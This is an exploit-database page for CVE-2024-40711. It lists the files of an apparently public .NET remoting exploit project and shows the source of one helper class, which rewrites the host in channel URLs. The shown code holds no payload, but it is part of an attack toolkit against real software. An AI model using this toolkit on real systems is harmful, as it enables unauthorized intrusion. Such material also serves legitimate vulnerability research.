Exploit databaseDownload repository ZIP
GH-1fc3fc563671f2a82bf8b7ea98bf58b1
watchtowrlabs/cve-2024-40711
Sources for CVE-2024-40711
2 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files17
watchtowrlabs/cve-2024-40711Revision cf4ef453a369
- ↑..Parent directory
- Properties/
- App.config
- ChannelUriFixingClientChannelSinkProvider.cs
- ChannelUriFixingServerChannelSinkProvider.cs
- CustomChannel.cs
- DataSetMarshal.cs
- ExploitRemotingService.csproj
- FakeComObjRef.cs
- FakeMessage.cs
- FakeMethod.cs
- FakeType.cs
- MethodCallWrapper.cs
- Program.cs
- SerializableWrapper.cs
- SerializerRemoteClass.cs
- TcpMessageWriter.cs
- packages.config
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
ExploitRemotingService-master/ExploitRemotingService/ChannelUriFixingClientChannelSinkProvider.cs
C# · 952 bytesusing System;
using System.Runtime.Remoting.Channels;
namespace ExploitRemotingService
{
internal class ChannelUriFixingClientChannelSinkProvider : IClientChannelSinkProvider
{
private readonly string publicHost;
public IClientChannelSinkProvider Next { get; set; }
public ChannelUriFixingClientChannelSinkProvider(string publicHost)
{
this.publicHost = publicHost;
}
public IClientChannelSink CreateSink(IChannelSender channel, string url, object remoteChannelData)
{
IClientChannelSink clientChannelSink = null;
if (this.Next != null)
{
url = new UriBuilder(url)
{
Host = this.publicHost,
}.ToString();
clientChannelSink = this.Next.CreateSink(channel, url, remoteChannelData);
}
return clientChannelSink;
}
}
}